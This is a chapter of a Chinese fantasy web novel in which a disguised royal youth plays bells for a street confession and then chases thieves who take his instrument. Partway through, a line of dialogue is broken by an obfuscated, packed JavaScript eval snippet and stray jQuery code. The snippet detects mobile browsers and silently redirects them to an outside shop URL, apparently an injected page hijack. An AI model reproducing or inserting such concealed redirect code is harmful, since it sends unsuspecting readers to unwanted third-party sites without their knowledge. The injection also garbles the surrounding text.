见他这么热情爽快,霍络佐知道拒绝会扫了兴致,便伸手接了。
其实倒不是什么怕家里人骂不敢喝,他尝过的果汁挺多的,反正比身边这位小哥肯定是多得多了,甚至烈的都舔过。只是因为这偏城里卖的一定是很廉价的果水,味道不会好到哪里去,和王宫里的比差太远。
霍络佐知道自己嘴挑,尝惯了最好的,铁定是喝不下路边卖的廉价亚里布。
不过接过来喝一口总是一种礼貌,所以他便低头抿了那么一小口,然后舌尖就被这怪味刺得挺不舒畅。
果然,糟透了。
尝过了喝不下可就不怪他了。身边的乐手小哥看见,只当他是喝不了,哈哈嘲笑了他两下,便放过了他,没再劝他全喝下去。
“有人能奏乐吗?”
霍络佐抬手遮着刺眼的阳光看去,靠在街道拐角躲太阳的几个乐手们都纷纷抬起头看去,见又是一人面色腼腆地找上来,一看就知道是和姑娘告白需要乐手伴奏打气的小伙子。
“有啊,这不都是的嘛,你姑娘啥时候来啊?”
“咋就脸红了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604533|205697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嘛,就你这样子,待会儿还没开口你姑娘就要笑你了哈哈哈哈。”
霍络佐跟着他们笑,街上的乐手们总是喜欢在这些腼腆的男子身上打趣儿。
“夕阳刚开始落下的时候,她就会来了。”那看起来十六七岁的少年笃定地说道,“我想请乐手替我奏一首温婉的曲子,最好是...《海利格》歌舞剧里的曲子,我想表达我生命中最深刻的爱。”他神情柔和却坚定。
听到他这么说,角落里的乐手们纷纷面色微妙尴尬了起来,只冒了一个声:“呃。”
只见一人摆摆手摇摇头道:“害,这都什么年头了还奏那种老套的曲子?小哥啊,你给我几个铜币我也能敲,但说句实话,你姑娘肯定不喜欢。你不想想《海利格》里有多少凄凄惨惨的故事。”
众人点点头。
“你不怕你姑娘觉得晦气吗?还是你要咒你自己啊?哈哈哈。”
那小哥的脸一下子又红又绿,心急道:“不是,我没有,我只是借乐曲和故事表达真情而已。没有让你们奏海利格里的悲壮曲,是爱情曲。”
“那也太晦气了。”
“可不是么,围观的人听了都会摇头。”
“奏完一曲连旁边拍手叫好的人都不会有几个。”
“...我就是觉得好听…”小哥说。
如此,霍络佐便插了个嘴道:“那你不如说说你为什么要挑《海利格》的曲子吧?”
众人扭头往他这儿看,他笑着,对那小哥说:“你若是说得有理有据一点呢,指不定还有人能真心为你们演奏,不然的话,你问遍半个城的乐手都找不到一个真心想敲的人,《海利格》已经太老套啦。”
这算是给了这位小伙子一个可以下的台阶,他支支吾吾了片刻,然后缓缓开口讲起了原因。
原来他心上的姑娘是另一个官域的城总官家的女儿,被送到王城附近的偏城里学女红的,来了有两年了,这小伙子是住在她对门的果酱坊家的儿子,家境不算差,但跟城总官家族那肯定是有悬殊,反正种种原因他这两年都没告白,如今姑娘快要回家了,他才迟迟决定要说出来。
“能成的可能性几乎没有。”
“难怪你要选《海利格》,原来你早知道自己没戏了啊。”
“天呐...我都多少年没有听到还有人在向往这种悲剧的恋爱了。噢掌管爱情的喀尔芭神,您为何又让我这么倒霉地要见证这悲惨的虐恋?不能让这些恋人们圈地自虐吗?!”
其中一人故作姿态地抹了抹眼角不存在的眼泪,浮夸的语气又让这帮乐手东倒西歪地笑成了一团。
小伙子的脸再次变得又红又绿,掏心掏肺地诉说却换来这种戏谑,他气得跺脚转身走了。
霍络佐刚刚还在捂嘴憋笑,一抬头见他被气走了,急忙站起来拎着自己的风铃跑着跟上去,从背后拍了他的胳膊。
小哥脸色不好地转过身看着他,连话都不想说了,只抬起了眉头表示疑问。
“我可以帮你敲。真心诚意地帮你敲。”霍络佐将两只手贴在自己的胸前示意道。
“你...?”小哥歪了歪嘴。
可能是他看起来年纪比较小吧,不过他确实是那帮乐手中年纪最小的,这位小哥似是不太信他能敲得好,如果敲得乱七八糟唱得还忘词儿,坏了气氛,那这一场告白可就被抢戏了。
霍络佐被质疑了并不气,十分有诚意地微笑道:“你大可放心。我敢说今天来的这帮乐手中没有一个会比我还愿意唱《海利格》里的曲子,也没有一个比我更清楚哪首最好听。你一会儿就敞开心扉跟你的姑娘告白,行吗?”
霍络佐知道他肯定会同意,因为他没有更好的选择了。
果然,只犹豫了片刻,小哥便缓慢地点了点头,抛给了他一个铜币。
勒夫塔广场处于高地,在一个小坡顶上的一条街道的尽头,远处没有房屋遮挡。所以俯看能看到城里的一条条街道一座座屋顶,抬起头能吹到城外吹来的徐徐凉风,黄昏时能看到火红的夕阳晖光洒在灰砖地上,十分有意境。
正在紧张准备告白的小哥哥尼莫利挺会挑日子,今日恰好是城里人都在做工的日子,广场上人不是很多,不然若是挑在人们都休息的时候,傍晚十分准有一堆人在这儿休闲跳舞了。
霍络佐盘腿坐在离他稍有距离的一处,地上铺了个小毯。他趁着尼莫利专心准备之时,唤来了便装徘徊在他附近的王宫护卫,让人从车队那儿拿了一串他平时在王宫里会用烔砂铃。
他带出来在街上敲的这串很便宜,铃管做工不精,即便自己技艺再精,出来的声音也不可能成为什么天籁,想着尼莫利那么虔心地想要表达自己的爱,霍络佐方才虽然跟着乐手们一起笑话他吧,心里也有点同情,便尽量想让他告白的那一刻能够完美一点。
他把烔砂铃从盒子里拿出来挂在铁艺架子上,拿出两根铃锤,简单练了一下,曲子的熟悉感就找回来了。
随后,他便胳膊肘垫在膝盖上撑着腮,歪头望着日落,等着尼莫利的心上人来。
从广场高处这儿似乎还隐约能看到城外远处的沙丘,有红色的晖光洒在沙子上。日落已经开始了,如果他们约的确实是日落,那么这位姑娘其实已经迟到了。
霍络佐开始有些担心她会不会来了,毕竟日落就这么短的时间,约在这个时候一般都会早来一点的,迟了多半就表明不会来了。
所以过了一会儿,他就已经在思考安慰尼莫利的话语了。什么“错过是神明为了让你遇到更好的爱情。”啊,“生命除了恋人还有月色和风。”啊之类的。
他都已经调整好安慰的语气了,然而偏头这么一望,就望见街道的那一头急匆匆跑来一位穿着橘色裙子的少女,身后跟了一名丫鬟。
“喂,尼莫利。”霍络佐立即叫他回头看。
尼莫利回头望过去,脸上立刻浮现了笑容。
霍络佐见那姑娘跑得特急,细碎长长的一缕缕卷发和发辫在风中乱飘,长裙的裙摆也在风中飞舞。
不巧的是她跑来时正好广场上一阵大风吹来,竟忽然将她装饰戴着的橘色发纱给吹掉了,惊得她赶忙伸手去抓,却没抓住。
这尴尬的场面让霍络佐看得哭笑不得,他一边移开眼低头憋笑,一边手还不忘拨动拨动风铃,试图制造点浪漫气氛。
好在下一刻他再撇眼过去看,便瞧见尼莫利正好一伸手抓住了她飞出去的发纱,立马化尴尬为浪漫了,这小哥还是挺会的嘛。
霍络佐见他有些含羞地朝姑娘笑了笑,十分有礼仪地将发纱双手递给了她,然而还未等她接过,他又忽然收回了双手,鼓起勇气询问了什么。
姑娘微微点了点头,转过身去,乌黑的卷发对着他,让他伸手给姑娘亲手戴上了发纱。
霍络佐这时候已经十分识相地拿着铃锤敲起了浪漫的乐曲,轻哼起了一点歌词。
其实从他跟姑娘短短这么一点小互动里便能看出,他俩还是有不少感情基础的,和尼莫利口中描述的差不多。
不过有感情是一回事,姑娘能不能接受就是另一回事了,城总官的女儿,即便送来王城附近学女红的小女儿,婚事也肯定得和家族挂钩,必然不能按照自己喜好安排。如果她不想和家族彻底断绝关系的话,多半是不能和这样一个普通人在一起的。
霍络佐轻声吟唱着歌谣,抬眼,瞧见尼莫利从衣服的口袋中拿出了他为心上人准备的礼物。
那是一块很好看的银艺饰品,似乎是胸针,做工挺精致,设计也挺特别,是两只麋鹿,应该是对于两人来说象征着什么特殊的回忆吧。
姑娘看着挺惊讶的,望着尼莫利的眼神利满是惊喜。
两人凑近低言几句,一会儿又传出朗朗笑声,似是在一起回忆关于麋鹿胸针的事,夕阳照在他们两人的脸庞,这幅场景还真的挺美好。
不仅霍络佐看着觉得有意思,他瞟了一眼广场那头的街道口,瞧见方才嘲笑这哥们的乐手们此时都探了头出来往这边瞅。
一帮口是心非的家伙。霍络佐笑着想道。
姑娘在落日这么浪漫的时间点被约出来,地点又是在勒夫塔广场,她来的时候心里应该猜到尼莫利是要做什么了。所以当尼莫利深吸了一口气,缓缓向她说出他准备已久的台词时,她没有惊讶的表情,只微笑着望着尼莫利。
然后,她就一直安静着,没有回话了。
尼莫利依旧沉浸在刚刚说出自己心里话的紧张中,他脸好红,红得像果园里熟透的苹果。
但是看着眼前的人只是微笑着一直没有说话,片刻后,他脸上的洋红就褪散了,像是喝了一场香甜的酒,酒醒后,梦里美好的幻象也像清晨的雾气一样散去,人也清醒了。
他被落日的晚风吹得有些凉,鬓边的碎卷发在风中飘飞,眼神是身边人都看得出的低落。
霍络佐静静望着他们,手依旧敲着《海利格》的曲子,但没再继续唱词了。姑娘这样沉默的答语想必尼莫利也是预料到的,即便他不太愿意得到这样的答复,他还是得面对它。
两个人之间隔着的种种问题属实不算少,无法就这样简单地在一起,姑娘已经算很有情谊的,拒绝的话一句都没有说出口,她都以沉默代替。
也许尼莫利从今日过后就要把这份年少时的情窦珍藏在回忆里了,也许姑娘也会把这个对她满怀爱意的人放进回忆里。
其实,尼莫利选《海利格》的歌真是在合适不过,从来都不是这些悲剧故事浮夸或不吉利,而是它们确实诉说了现实的无奈,能帮人表达心声,眼前这对就是。
不过有些意外,姑娘忽然说话了。
她声音虽小,但却是深吸一口气,语气里带着一丝坚定说:“我...一定要拒绝父亲给我安排的一切婚姻,然后,我希望以后在墨里安城里也能吃到你家卖的果酱,即便是要等待很多年。”
姑娘身旁的丫鬟也愣了一下,尼莫利也愣了。
“不知道有没有可能,但是我希望可能。”她淡淡地说。
尼莫利傻了许久,然后连连点头,像个公鸡吃米一样点头:“一定有可能...!一定有可能。我一定会去你家乡卖果酱...我一定会去的,保证你能买到,你肯定能买到,我家的果酱会无处不在…...”
霍络佐差点没笑噗了一下。
姑娘很勇敢嘛,不过想想又挺心酸,可能性好小。首先姑娘能成功抗拒不嫁人的可能性就很小,再来就算她能拖着不嫁人,身边人也不太可能同意他俩在一起。那么以后怎么办?他俩就一直靠吃果酱传情嘛?
不过那都是以后的后话了。至少现在,此时此刻,两人都留了一个念想,此刻的生命还能有一件值得期盼的事,尼莫利方才失落几近绝望的表情不见了,姑娘见他心情好了,脸上也有笑颜了。
他俩依依不舍地牵着手说了一会儿话,天渐渐暗了下来后,姑娘便急忙说:“我先走,不能让我家的管家瞧见我们一起回去。”然后她声音很微小地道,“明日我从南城门出城,你就上小城楼上送我,好吗?”
尼莫利还没从刚才燃起希望的激动中缓过来,这会儿听见她提起送别,情绪倍加强烈,竟止不住掉了眼泪,失声道:“好...好...你等我,我一定会在城楼上,到时候你要回头看我,一定要回头看我啊。”
这一时竟不知谁像个悲情少女了呀......
好一会儿后,尼莫利才被他的心上人安慰得停下了眼泪,姑娘也赶在日落余晖消失前向来的原路跑了回去。
霍络佐这边算是没出什么差错地圆满收工。他将烔砂铃的架子、风铃和铃锤都收进了木箱子里,又卷起地上的地毯放进背袋里,抱着箱子背着背袋陪着尼莫利一起慢慢朝街道走去。
“挺好的,我觉得你们还有希望。”
尼莫利依旧沉默在刚才的情绪中,眼睛和鼻子都还红红的,不停地吸着没随眼泪掉下来的鼻涕,吸溜吸溜的。
看人哭着实是一件尴尬之事,对于霍络佐来说,他觉得这比撞见一对情侣亲热的尴尬程度还要高一个档次。可能是因为他自己很少哭,当然他也从未与人亲热过。
他尴尬地陪着尼莫利,走在他身边,试图想想要如何安慰他。
“也许我们此生根本就注定没法在一起...”红着眼眶的尼莫利吸溜着鼻子,失声叹气,最后还是勉强打起了精神说:“但你说的对...起码比彻底失去希望要好一...”
“就他妈你叫尼莫利威乐?!”
尼莫利话还没说完呢,就被一声暴吼突然打断。
霍络佐吓得条件反射性地单手捂住耳朵,另一只手抱着装风铃的盒子差点掉了。
他扭头看去,侧岔路不知道从哪儿走来七八个小伙,定睛瞧了瞧,其中貌似有四个壮汉。
尼莫利莫名其妙地望着这突然挡住路的对方,然后,霍络佐也不知道为啥,尼莫利居然答了对方一句:
“是我,有什么事?”
天神弥利姆,他被爱情冲昏头了,给这一看就是来找茬儿的人报姓名??
果不其然,领头吼人的那个高个子当即大步走上来,朝着尼莫利脸就是一拳打过来!
窝草!这也太突然了。
尼莫利痛喊了一声,一屁股摔到地上躺下。霍络佐吓得慌忙蹲下来查看他中了拳头的右眼,还好眼睛没流血,也没打到太阳穴,那人打偏了些,打到脸颊下面那块儿肉上了。
紧接着,霍络佐的小腿就被那大嗓门一脚踩住,低沉的声音威逼道:“你是给他敲铃的乐手?滚一边儿去,还能放你一码,掺合进来,就连你一道揍。”
尼莫利原本一脸懵圈地捂着自己的脸,听了他说的话,立刻起来急道:“别!这小乐手跟我不熟!你们是有什么事?你们冲我——”
霍络佐转头捂住他的嘴让他别说话,然后举起双手,向那大嗓门和他身后的壮汉们安抚道:“几位有什么冲突,有什么恩怨,言语谈判化解不要动手,化解不了要去找城内法官,打人要坐牢的。”
领头人怒了,看着眼前比他矮的小孩,摩拳道:“谁他妈跟你——啊啊啊!!”
侧方疾冲上来的王宫侍卫一脚把他踹飞到了四米外。
霍络佐赶紧转身把尼莫利拉起来,准备带他走向旁边岔道找家店避一避。领头人身后的那些同伴此时“大哥!大哥!”地呼唤着他们的躺在地上大哥,他们跑去扶大哥起来后,愤愤不平,撸起袖子就冲上前一起跟侍卫干架。
霍络佐确认侍卫带了佩刀在身上后,就准备走了,刚走几步,却忽然想起来自己的风铃落在了地上,瞥眼一看,见那木盒子正好被打成一团的几个人几脚踢到了老远处,盒子盖都被掀翻开了。
妈呀!太心痛了,这可是他近期敲得最顺手的一串铃啊!
霍络佐从未见他的乐器被这样对待过,心痛至极,当下就抛弃了尼莫利,口袋里掏出一点钱塞给他,对他说:“赶紧上那边医馆看医生,我待会儿来看你,快去吧你受伤了别在这儿添乱啊...”
他就这样驱走了被打得晕乎的尼莫利,然后转身跑向自己的风铃。
然而他还是迟了一步。方才拦路的那几个人中,没参与团战的另外几个小伙此时已经抱起了那盒子。
几人往盒子里一瞅,顿时个个脸上都惊喜得无比灿烂,“捡到宝了”几个单词写在了几人脸上。
紧接着,他们激动地抱着盒子就往另一岔路溜了。
“喂...贱民啊!那是我的!!”霍络佐当即飞速跑着赶上去,急得辱词都蹦出来了。
前面的几个贼一看就都有十七八岁了,那大长腿跑得真是贼一般快。霍络佐今年这岁数的两条腿不用想都是跑不过他们的,自己追不上只能大喊“捉贼!”,试图看看前面有没有人能拦得住他们。
然而这条街卖是偏城老人家最爱来逛的地方,傍晚快到饭点这会儿街上几乎没啥老人家逛街,有逛街的,也只漠然给那贼人让道,压根不可能帮人捉一帮小步子跑贼快的年轻小伙。
霍络佐只能无奈望着他们越跑越远,不见踪影。直到跑到街道的尽头,才看到他们已经顺着大道跑下山坡了。
这给他气得,撇眼看到了一辆运货上山坡的骆驼车,一时不管三七二十一,顺着车就爬上了这匹骆驼的背,解了系车的绳子,然后双腿用力夹,大拍骆驼肚子,骑着骆驼就飞奔追了下去。
骑骆驼这件事,他是非常拿手的,二十多个和他同龄的堂兄堂弟里,现阶段能赛过他的只有少数。
然而他坐上骆驼往山坡下冲了,才发现自己太着急,疏忽了一件大事。
这是拉车的骆驼,没装鞍呐。
他屁股要没了啊。
冲下了山坡,霍络佐只觉得自己大腿内侧被磨得仿佛涂了十层厚的红尖椒酱,屁股更是已经在半路上就被磨不见了踪影。
他欲哭无泪,拽着胯.下飞奔的骆驼的套嘴缰绳紧急放慢速度。但这时候要是下来走路的话估计两步就要摔倒了,根本追不上前面的人,想着这个他又一咬牙,缓一点磨着屁股往前,伸手够到了街边小店门前挂着的陶泥灯罩。
花盆店里的店主此时已经被外面扑闪的灯光吸引了出来,见一男孩骑在骆驼上偷他的灯罩,大声惊呼。
还没等店主开骂有贼,霍络佐就拿着灯罩轻拍了一下骆驼肚子,让它往前走,然后自己瞄准使力一挥臂,把那灯罩砸向前方真正的贼。
只见灯罩精准地飞向了抱着盒子那人的后背,“啪!”的一声重创,被砸中的小伙“嗷嗷”一声惨叫,跪了下来,趴在地上捂着背,起不来了。
还好另外俩小伙没有抛弃贼友再跑走,而是担忧地跑回来查看贼友的伤势。霍络佐这时候才听见他的侍卫从山坡上下来,回头一看,侍卫竟不知道从哪儿找到了一匹马,还是装了鞍的......看来只有他才会这么倒霉只碰到一头没鞍的骆驼!
他有气无力地向侍卫指了指前面的贼,然后扯着骆驼的缰绳,让它缓缓跪下来,自己手抬着自己的右腿,扶着腿跨过前驼峰,然后站在了平地上。
往前走了几步,霍络佐就软绵绵地蹲下,趴在了街边的台阶上,眉头痛苦地揪在了一起。
屁股算是壮烈牺牲了。